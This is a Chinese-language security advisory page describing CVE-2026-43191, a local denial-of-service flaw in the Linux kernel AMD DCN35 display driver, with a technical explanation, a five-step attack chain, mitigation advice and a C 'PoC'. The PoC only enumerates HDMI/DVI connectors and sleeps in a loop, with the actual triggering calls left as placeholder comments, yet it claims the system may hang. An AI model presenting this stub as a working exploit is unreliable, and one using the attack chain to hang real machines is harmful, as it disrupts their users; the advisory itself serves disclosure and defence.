IPBUF安全漏洞报告
English
CVE-2026-43191 CVSS 5.5 中危

CVE-2026-43191 Linux内核AMD显卡驱动拒绝服务漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43191
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

拒绝服务Linux内核AMD显卡驱动本地漏洞硬件逻辑错误DCN35

漏洞概述

Linux内核的drm/amd/display驱动组件存在一处安全漏洞,专门影响采用DCN35架构的AMD显示设备。问题的核心在于禁用TMDS输出时,PHY PLL被不当关闭,致使OTG(输出时序发生器)陷入卡死状态。这种卡死状态会导致DCHVM无法处理无效化确认请求,进而引发系统层面的挂起或无响应。本地低权限攻击者可利用该缺陷导致系统可用性受损。

技术细节

该漏洞位于Linux内核AMD GPU驱动的显示控制逻辑中,涉及DCN35硬件架构的PHY有限状态机(FSM)。在正常关闭TMDS输出时,系统会关闭PHY PLL,但由于缺乏原子性保护,OTG(输出时序发生器)在特定时序下会误判HUBP(Hub Pipe)仍处于开启接收同步信号的状态。这种逻辑错误导致OTG无法正常关闭,进而阻塞DCHVM(Display Controller Hardware Virtual Machine)的无效化确认机制。由于转换过程可能被线程抢占或超过IOMMU看门狗超时时间,系统最终陷入挂起。该修复通过回传DCN401架构的补丁,强制使PLL_ON转换过程原子化,确保显示控制器状态同步,从而解决竞争条件引发的系统崩溃问题。

攻击链分析

STEP 1
步骤1
攻击者获得本地低权限用户访问权限(PR:L)。
STEP 2
步骤2
攻击者运行恶意程序,调用DRM接口频繁操作显示输出,特别是针对TMDS接口的禁用和启用操作。
STEP 3
步骤3
内核驱动在处理PHY状态机从TX_EN到PLL_ON的转换时,由于缺乏原子性保护,发生竞争条件。
STEP 4
步骤4
OTG(输出时序发生器)卡死,导致DCHVM无法确认无效化请求,触发IOMMU超时。
STEP 5
步骤5
系统显示子系统挂起,导致整机拒绝服务(A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43191 (AMD DCN35 PHY FSM Hang) * This code attempts to trigger the vulnerable display path by * manipulating the TMDS output status on susceptible hardware. * Compilation: gcc -o poc_cve2026_43191 poc_cve2026_43191.c -ldrm */ #include <xf86drm.h> #include <xf86drmMode.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv) { int fd; drmModeRes *resources; drmModeConnector *connector; int i; // Open the first available DRM device (typically /dev/dri/card0) fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC); if (fd < 0) { perror("Failed to open DRM device"); return 1; } resources = drmModeGetResources(fd); if (!resources) { perror("Failed to get DRM resources"); close(fd); return 1; } printf("Attempting to trigger PHY FSM transition bug...\n"); // Iterate through connectors to find TMDS (HDMI/DVI) outputs for (i = 0; i < resources->count_connectors; i++) { connector = drmModeGetConnector(fd, resources->connectors[i]); if (!connector) continue; if (connector->connection == DRM_MODE_CONNECTED && (connector->connector_type == DRM_MODE_CONNECTOR_HDMIA || connector->connector_type == DRM_MODE_CONNECTOR_DVII)) { printf("Found TMDS Connector ID: %d\n", connector->connector_id); // In a real exploit scenario, specific ioctl calls would be made // to force disable the output rapidly, triggering the race condition // in the PHY PLL transition. // Simulating rapid disable/enable stress on the output path for(int j=0; j<100; j++) { // Placeholder for actual DRM mode setting atomic commits // that toggle the TMDS output. usleep(1000); } } drmModeFreeConnector(connector); } drmModeFreeResources(resources); close(fd); printf("PoC execution finished. System may hang if vulnerable.\n"); return 0; }

影响范围

Linux Kernel (受DCN35架构影响的版本)

防御指南

临时缓解措施
限制非特权用户对/dev/dri/*设备的访问权限,或暂时禁用受影响AMD显卡的硬件加速功能作为权宜之计。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表